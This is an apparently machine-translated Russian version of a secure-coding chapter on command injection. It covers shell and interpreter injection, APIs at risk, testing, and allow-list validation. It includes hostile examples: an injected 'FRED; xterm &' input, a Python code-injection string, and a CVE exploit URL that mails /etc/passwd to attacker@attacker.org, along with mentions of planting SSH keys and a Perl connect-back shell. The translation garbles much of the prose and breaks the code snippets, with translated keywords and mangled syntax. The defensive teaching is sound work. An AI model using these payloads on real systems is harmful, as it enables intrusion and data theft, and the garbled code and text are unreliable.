Командование инъекций

Dutch French Spanish Portuguese Italian German Japanese Chinese Korean Russian Arabic Bookmark and Share this Article Original English article
  

В 1994, автор этого учебника сидел впереди на компьютере под управлением SGI IRIX, что просто указанием входа. Он дает возможность печатать некоторые документы и указать принтер для использования. Автор себе то, что реализации может быть, указанной строки, которые фактически не относятся к принтеру, и вдруг в окно администратора на поле автор не только не должен иметь доступ, но даже не был вошли.

Проблема заключается в командной инъекций нападение, где, вводимого пользователем, что должна была данных действительно может быть частично интерпретировать как команду своего рода. Зачастую, что команда может предоставить лицо, контроль над доступом к данным для гораздо более доступа, чем когда-либо предполагалось.

Пострадавшие Языки

Командование инъекций проблемы являются беспокоиться любое команды и данные размещаются встроенные вместе. Хотя языки могут избавиться от некоторых наиболее простой команды инъекций нападений, предоставляя хорошие интерфейсы прикладного программирования (API), которые выполняют надлежащих материалов проверки, всегда есть возможность, что новые API, будет внедрять новые виды инъекций команду нападения.

Грех пояснил

Командование инъекций проблемы возникают, когда ненадежные данные помещается в данных, которые передаются на определенную компилятор или переводчика, где данные могут, если она в формате особым образом, рассматриваться как нечто, помимо данных.

В канонический пример этой проблемы всегда API призывы, которые непосредственно вызова интерпретатора команд системы без какого-либо одобрения. Например, старые IRIX входа (как упоминалось ранее) делает что-то вдоль линий:

  символ buf [1024]; snprintf (buf, "система lpr - P% ы", user_input, sizeof (buf) -1); системы (buf); 

В этом случае пользователь непривилегированным, поскольку он может быть абсолютно никому бродят в машине. Однако просто ввести текст: FRED; Xterm и, терминал будет всплывающего поскольку; Закончится первоначальной команды в системе корпуса; И xterm команду будет создать новый окне терминала готов для команд, и с говорить системы для повторного запуска процесса без блокирования текущего процесса. (В Windows корпуса, амперсанд metacharacter акты же, как запятой по UNIX окно.) И, поскольку вход процесс административными привилегиями, терминал оно создало также привилегии администратора!

Есть множество функций, во многих языках, которые являются уязвимыми с точки зрения таких нападений, как вы увидите позднее. Но, как команда нападения инъекций не требуется функция, которая призывает к системе корпуса. Например, злоумышленник может привлекать вызов языке переводчика. Это довольно популярны в высоком уровне языков, таких как Perl и Python. Например, рассмотреть следующие Python код:

  def call_func (user_input, system_data): запустить "special_function_% ы ("% ы ") '% (system_data, user_input 

В предыдущем код, Python% оператора акты так же, как спецификаторы * printf в C. Они соответствовала бы значения в скобках% ы значения в строку. В результате, этот код предназначен для объявления функции выбору системы, передачи его аргумент со стороны пользователя. Например, если system_data были образцом и user_input были fred, Python будет запустить код:

  special_function_sample ( "fred") 

И этот код будет идти в том же сферы, что запустить заявление дюйма

Злоумышленники, которые контролируют user_input может исполнить любой код Python они хотят в этом процессе, просто добавив цитату, а затем право скобок и запятой. Например, злоумышленник может попытаться строку:

  fred "); напечатать ( "foo 

Это вызовет функцию запустить следующий код:

  special_function_sample ( "fred"); напечатать ( "foo") 

Это позволит не только сделать то, что программист намерен, но и печатать foo. Злоумышленники могут буквально ничего здесь, в том числе стереть файлы с привилегиями программы, или даже сделать сетевых соединений. Если эта гибкость дает атакующему доступ к более привилегий, чем они были иначе, это проблема безопасности.

Многие из этих проблем имеют место тогда, когда контроль конструкций и данные параллельно, и атакующие могут использовать специальный характер изменения обратно в контексте контроля конструкций. В случае команда орудий, существует множество магических символов, которые могут это сделать. Например, большинство UNIX, как машин, если нападавших были добавлять точку с запятой (которая заканчивается заявление), backtick (данными между backticks запускается на выполнение, как код), либо вертикальная черта (все после бара рассматривается как другой, связанных с процессом), они могут запустить произвольный код. Есть другие специальные символы, которые могут изменить контекст, в данных контроля; Это лишь самые очевидные.

Один общий метод для смягчения проблем, связанных с текущих команд заключается в том, чтобы использовать API для вызова команды напрямую, в обход корпуса. Например, в UNIX поле, то в execv () семейства функций, которые пропускает корпуса и призывает программы напрямую, в результате чего аргументы как строки.

Это хорошая вещь, но она не всегда решить проблему, особенно потому, что программа вызвала сама может поставить данные права следующей важной для контроля конструкций. Например, призывая execv () в Python программе, что затем передает аргумент в списке запустить было бы ужасно. Мы даже видели случаи, когда люди execv () 'д / бин / ш (команда оболочки), которая совершенно пропускает момент.

Похожие Sins

Некоторые из грехов можно рассматривать как конкретные виды инъекций команды проблем. SQL инъекции явно конкретного рода командный инъекций нападения. Формат строки проблем можно рассматривать как своего рода командный инъекций проблема тоже. Это объясняется тем, что злоумышленник принимает значение, что программист будет ожидать данных, а затем вставляет читать и писать команды (например,% н указатель - это написать команду). Эти отдельных случаях настолько часто, что мы их рассматривать отдельно.

Это также является основной проблемой в межсайтовый скриптинг, где нападающие могут выбирать данные, что выглядит особенно Интернете элементов, что если данные не подтверждены надлежащим образом.

Пятнистость грех План

Вот элементы в схеме:

  • Команды (или контрольной информации), и данные помещаются встроенный рядом друг с другом.

  • Существует возможность, что некоторые данные могут рассматриваться как получить команду, часто из-за символы со специальными значения, такие, как кавычки и запятой.

  • Контроль за команды даст пользователям больше привилегий, чем они уже имеют.

Пятнистость грех ходе код обзор

Существуют многочисленные звонки и API языка строит в широком различных языков программирования, которые чувствительны к этой проблеме. Хороший подход к рассмотрении кода для этой проблемы сначала определить все построения, которые могут быть использованы для вызова какой-либо команды процессора (в том числе командования корпуса, базу данных или языка программирования самого переводчика). Затем, посмотрите через программу, чтобы, если любой из этих конструкций фактически использовались. Если они, а затем посмотреть, подходит ли оборонительные меры приняты. Хотя оборонительные меры могут изменяться в зависимости от грех, следует, как правило, скептически отнеслись отрицать перечень подходов и позволяют пользу перечень подходов (см. "о выкупе шаги" раздел, который следует).

Вот некоторые из наиболее популярных конструкций будет обеспокоен:

Язык Construct Комментарии
C / C + + системы (), popen (),
execlp (), execvp ()
Posix
C / C + + В ShellExecute () семьи
функций; _wsystem ()
Win32 только
Perl системы Если называют один аргумент, может
слово корпуса, если строка имеет
метасимволов оболочки.
Perl запустить Аналогично система, за исключением целей
на Perl процесса.
Perl backticks ( `) Будет, как ссылаться на корпусе.
Perl открытого Если первый или последний символ в файл - это вертикальная черта, то Perl открывает вместо трубы. Это делается по телефону из к корпусу, и на остальной части файла становится данных через корпуса.
Perl Вертикальные панели оператора Это акты так же, как и Posix
popen () слово.
Perl оценке Оценки строки аргумента
как код Perl.
Perl Регулярные выражения / е оператора Оценки модели соответствием часть строки, как код Perl.
Python запустить, оценке Данные получает оценку код.
Python os.system, os.popen Эти делегировать основные posix звонков.
Python execfile Это же запустить и оценки, но берет данные для запуска из указанного файла. Если злоумышленник может повлиять на содержимое файла, та же проблема возникает.
Python вклад Эквивалент оценке (raw_input ()), так что это фактически исполняет пользователя текст, как код!
Python компилировать Цель составления текста в код, якобы, что он собирается получить запустить!
Ява Class.forName (Строка наименование), Class.newInstance () Java байт код можно динамически загружено и запущено. В некоторых случаях, код будет sandboxed когда прибыл из ненадежного пользователя (в частности, при составлении апплет).
Ява Runtime.exec () Java пытались сделать безопасную вещь, не приводя каких-либо прямых объекта называть корпуса. Но орудия могут быть настолько удобна для некоторых задач, что многие люди называют это с аргументом, что прямо ссылается корпуса.

Тестирование Методы Найдите Син

В целом, что нужно сделать, это принять все материалы, подумайте о том, какой командной оболочки он может получить до принят, затем устанавливаются в каждом metacharacter для этого корпуса, и увидеть, если она взрывается. Конечно, вы хотите выбрать материалы таким образом, что если metacharacter работает, что-то измерению действительно произойдет.

Например, если вы хотите проверить, чтобы, если данные передаются на UNIX скорлупы, добавить запятой, а затем отправить себе что-то. Но, если данные помещается внутри цитируется строка, вы можете добавить конец цитатой выйти. Для покрытия этого, Вы могли бы опробовать, что вставляет цитату следует запятой, а затем команда, почту себе что-то. Проверьте, если она даст сбой, или же другие неприятности, а также если Вы получите по электронной почте; Тестовой случае не может выполнять точную последовательность нападения, но он может быть достаточно близко, что она все еще может выявить проблему. Хотя существует множество возможных возражений, на практике вам, вероятно, не нужно слишком замысловатым. Вы обычно можете создать простой программы, которая создает ряд permutations различных метасимволов (контрольные символы, которые имеют особое значение, например;) И команд, отправлять эти различные материалы, и посмотреть, если что-то неприятных результатов.

Средства от таких компаний, как SPI Динамика и Вачфире автоматизации такого рода тестирование веб приложений.

Пример Sins

Следующие позиции по общему Уязвимости и воздействий (CVE) веб-сайт (http://cve.mitre.org) являются примерами командования инъекций нападения.

МОЖНО - 2001 - 1187

В CSVForm Perl Common Gateway Interface (CGI) скрипт добавляет записи в запятую значения (CSV) файл базы данных. OmniHTTPd 2,07 сервер поставляется с statsconfig.pl сценарий называется. После запроса разбору, имя файла (принятый в файл параметров) будет передан следующий код:

  югу modify_CSV (если (открытое (CSV, $ _ [0])) (…) 

Там нет материалов проверки сделали по имени файла, либо. Поэтому вы можете использовать жестоким приемом добавив трубы до конца этого файла.

Примером использования будет состоять из посещения следующих URL:

  http://www.example.com/cgi-bin/csvform.pl?file=mail% 20attacker@attacker.org </ и т.д. / passwd | 

В UNIX системы, это будет электронная почта системы файл паролей к злоумышленнику.

Заметим, что% 20 - это кодирование пространства. В расшифровке может быть сделано до CGI скрипта запускается прошел данных.

Пример использования мы еще не все интересное, что в эти дни, потому что UNIX файл паролей пользователей только дает. Злоумышленники, вероятно, решит сделать что-то вместо того, что позволит им войти, как написать публичный ключ в ~ / .ssh / authorized_keys. Или, атакующие могут использовать эту фактически как загрузить и запустить любую программу они хотят, записывая байт в файл. Поскольку Perl очевидно, уже установлена на любом поле текущих это очевидная вещь сделать бы, чтобы написать простой Perl скрипт для подключения к атакующему, и связи, предоставляет злоумышленнику командной оболочки.

МОЖНО - 2002 - 0652

В IRIX файловой системы монтажа услуга позволяет для удаленных файлов системы установки на призыв РПК, и обычно устанавливается по умолчанию. Оказалось, что до ошибка была обнаружена в 2002, многие из файла проверки, что сервер нужен, чтобы при получении дистанционного просьбе были осуществлены с помощью popen () для запуска из командной строки. Эта информация используется в том, что призыв был взят непосредственно с удаленного пользователя и хорошими возможностями запятой в RPC параметр позволит злоумышленнику запустить команды оболочки, как корневой на поле.

Выкуп Шаги

Очевидно, что нужно сделать - это никогда не ссылаться на интерпретатора команд любого рода. Однако, это не всегда практические, особенно при использовании базы данных. Кроме того, было бы просто полезно, как бы сказать, что если у вас есть на использование командной оболочки, не используйте любые внешние данные в нем. Это не только практические рекомендации в большинстве случаев.

Единственный ответ - стоит сделать проверку. Путь к выкупу довольно проста здесь:

  1. Проверить данные, чтобы убедиться, что она ничего.

  2. Выполнить соответствующие меры, когда данные недействительны.

Данные проверки

На самом высоком уровне, у Вас есть два варианта. Вы можете подтвердить все, Вы собираетесь покинуть корабль на внешний процесс, или вы можете просто подтвердить частей, которые имеют вклад ненадежные источники. Либо один штраф, если вы тщательно о ней.

Она обычно хорошая идея проверить внешние данные у вас права пользоваться ею. Есть несколько причин для этого. Во-первых, он гарантирует, что данные, получает изучены данные по каждому путь, ведущий к тому использования. Во-вторых, семантика данных зачастую лучше понимать право перед использованием данных. Это позволяет быть максимальной точности с вашим вкладом проверки. Она также является хорошим обороны против возможности данных вносятся изменения в плохой путь после проверки.

В конечном счете, однако, обороны углубленной стратегии лучше всего здесь. Кроме того, хорошие данные, чтобы проверить, как он поступает в той, что нет опасности она используется без проверки других. Особенно если есть много мест, где данные могут быть злоупотребления, может быть легко недооценить чек в некоторых местах.

Существуют три известных способов определения данных действительности:

  • В отрицать список подход Вы ищите матчей демонстрируя, что данные недействительными, и принять все остальное в силе.

  • В позволить список подход Вы ищите набор допустимых данных, и отвергать что-либо еще (даже если какие-то шансы не было проблематичным).

  • В "цитирования" подход Вы трансформации данных, с тем, что не может быть ничего небезопасным.

Все эти подходы имеют недостаток, что вы можете забыть что-то важное значение. В случае отказа - списки и квотирование, это могло бы, безусловно, плохо безопасности. По сути, это маловероятно, что вам в итоге программного обеспечения с использованием отрицать список подход, если вы прохождения данных для некоторых видов систем (таких, как скорлупа), так как список символов, которые могут иметь особое значение действительно весьма длительным. Для некоторых систем, просто ни о чем, кроме букв и цифр, может иметь особое значение. Крайний также намного сложнее, чем можно было бы подумать. Например, когда один написания кода, который выполняет цитирования для некоторых видов командования процессоров, то общий занять строки, и придерживаться ее в кавычки. Если Вы не осторожны, атакующие могут просто бросить свои заявки там. И некоторые команды процессоров, есть даже метасимволов, которые имеют смысл внутри цитируется строка (это команда UNIX орудий).

Чтобы дать вам чувство, как трудно может быть, попробовать записать все UNIX корпуса metacharacter по своему усмотрению. Включите все, что могут быть приняты в качестве контроля, вместо данных. Каков размер списка?

Наш список включает в себя каждое из знаков препинания, кроме ", _, +,:, а запятую. И мы не уверены, что эти символы являются универсально безопасно. Там может быть корпусов, где они нет.

Можно думаю, у вас есть другие символы, которые никогда не могут быть истолкованы с особый смысл. Знак минус? Это может быть истолковано как сигнала начала командной строке параметр, если он в начале слова. Как о карата (^)? Знаете ли вы, что это замещение? Как о% подписать? Хотя зачастую может быть безвредны, когда как metacharacter, это metacharacter в некоторых случаях, поскольку в нем заданиями. В тильда (~) аналогична, что она будет в некоторых сценариев, расширение на главную каталог пользователя, если он в начале слова, но иначе он не будет считаться metacharacter. Это может быть утечки информации, или, что еще хуже, особенно если это путь увидеть часть файловой системы, что программа не должна увидеть. Например, можно придерживаться вашей программы в / дома / blah / применения, а затем запретить двойных точек в строке. Но пользователь может иметь доступ к чему-нибудь в / дома / blah только prefixing с ~ blah.

Даже помещения может быть управляющих символов, потому что они используются для отдельного между семантически или аргументы команды. Есть много типов пространств с этим поведение, в том числе закладки, новые строки, возврата каретки форма каналов, и вертикальных закладок.

Плюс, не может быть контроля символы, например, CTRL - D и NULL характер, что может иметь нежелательные последствия.

В общем, это гораздо проще, чтобы использовать список. Если Вы собираетесь использовать отрицать список, нужно лучше быть невероятно убедиться, что вы, охватывающих все ваши базы. Но, позвольте - списки уже может быть недостаточно. Образование - это, безусловно, необходимо, поскольку, даже если вы используете возможность - список можно разрешить или тильды пространств, не понимая, что может произойти в вашей программе с точки зрения безопасности.

Другой вопрос, чтобы в списки, что Вы, возможно, устраивает пользователей, поскольку материалы, что должно быть разрешено не так. Например, можно не позволить "+" в адрес электронной почты, но найти людей, которые хотели бы использовать их для различения, которые они оказывают адрес электронной почты, на. Тем не менее, позвольте список подход решительно предпочтительнее двух других подходов.

Рассмотрим случай, когда вы берете на сумму от пользователя, что вам относиться, как имя файла. Скажем, вы валидации как таковой (это является примером в Python):

  для символа в имени файла: если (не символ в string.ascii_letters а не символ в string.digits и символ <>'.'): поднять "InputValidationError" 

Это позволяет периоды с тем, что пользователь может ввести в файлах с расширениями, но забывает о подчеркивают, который является общим. Но, с отрицать список подход, вы, возможно, не мог подумать, чтобы запретить в черту, которая будет плохо; Злоумышленник может использовать ее, а также точками доступа к файлам в других файловых за текущий каталог. В цитирования подход, вы должны были бы написать гораздо более сложный разборе рутины.

Как правило, использовать регулярные выражения для выполнения такого рода проверки. Регулярные выражения легко получить неправильный, однако, особенно когда они становятся сложными. Если вы хотите обрабатывать вложенные конструкций и такие, забудьте о нем.

В целом, с учетом безопасности, то лучше быть в безопасности, чем сожалеть. Использование регулярных выражений может привести к легкой, а не безопасной практики, особенно когда самый точный контроль потребует более сложной семантической проверки, чем простой схеме совпадают.

Если проверить, не

Существуют три основные стратегии решения провалом. Они даже не являются взаимоисключающими. Это хорошая возможность всегда делать по крайней мере первые два:

  • Сигнал ошибки (разумеется, отказывается выполнять команду "как есть"). Будьте осторожны, как вы сообщение об ошибке, однако. Если просто скопировать обратно плохие данные, которые могли бы стать основой для межсайтовый скриптинг атаки. Вы не хотите дать атакующему слишком много информации (особенно если запустить проверку использования времени конфигурационных данных), поэтому иногда лучше просто сказать "недопустимый символ" или некоторых других расплывчатым.

  • Регистрации ошибок, включая все соответствующие данные. Будьте осторожны, что процесс регистрации не сама стала момент нападения; Некоторых лесозаготовительных систем согласиться форматирования символов, и наивно пытается войти некоторые данные (например, возврата каретки и строк), может в конечном итоге разлагает журнал.

  • Изменить данные остаются в силе, либо ее замены значения по умолчанию или преобразования его.

Мы обычно не рекомендуют третий вариант. Может не только вы совершите ошибку, но если вы не сделаете ошибку, но конечному пользователю вовсе, семантику могут быть неожиданными. Это легче просто провал, и сделать это безопасно.

Дополнительные защитные меры

Если вы используете Perl, язык располагает средствами, чтобы помочь вам обнаружить такого рода ошибки на этапе выполнения. Она называется taint режиме. Основная идея заключается в том, что Perl не позволит вам отправить unsanitized данных на один из плохих функций выше. Но чеки работать только в taint режиме, так что вы не получаете выгоды, если вы не выполните его. Плюс, можно случайно снять taint данных без действительно имеющих одобренного ничего. Есть другие мелкие ограничения тоже, поэтому благо не следует полагаться исключительно на этот механизм. Тем не менее, это еще большой инструмент тестирования и, как правило, стоит перейти на качестве одной из ваших возражений.

Для общих API, что требует ссылаться команды процессоров, можно написать собственный API обертка для них допускает, что список фильтрации, и бросает исключение, если вклад - это плохо. Это должно быть не только материалы проверки Вы так часто, то лучше выполнять более подробную здравого проверок значений данных. Но, это хорошая Первая линия обороны, и его легко исполнить. Вы можете сделать обертки заменить "плохих" функций, или же вы можете воспользоваться простым средством поиска в коде аудита найти все случаи вы упустите и быстро принимать правильные замены.

Выводы

  • Ли выполнять материалы проверки по всем входным до принятия его в команду процессора.

  • Ли справиться неспособность надежно, если материалы проверки, не проверить.

  • Не пройти unvalidated вклад в любую команду процессора, даже если цель заключается в том, что информация будет только данные.

  • Не используйте отрицать список подход, если вы 100 процентов уверены, что вы учета всех возможностей.

  • Рассмотрим избежать регулярных выражений для проверки ввода; Вместо этого писать простые и ясные валидаторов на Хан

это статья добавлена Хендра Fang
Опровержение: Наш сайт не несет ответственности за информацию, содержащуюся в этой статье. Эта статья никоим образом не отражает взгляды, мнения, мысли или веры каталог статей сотрудников.

Перевод уведомления: В статье "Командная инъекций" был переведен с использованием автоматизированной службы перевода. Мы приносим извинения за любые ошибки перевода, что произошло. Спасибо за понимание.


Online: 949 users browsing the articles directory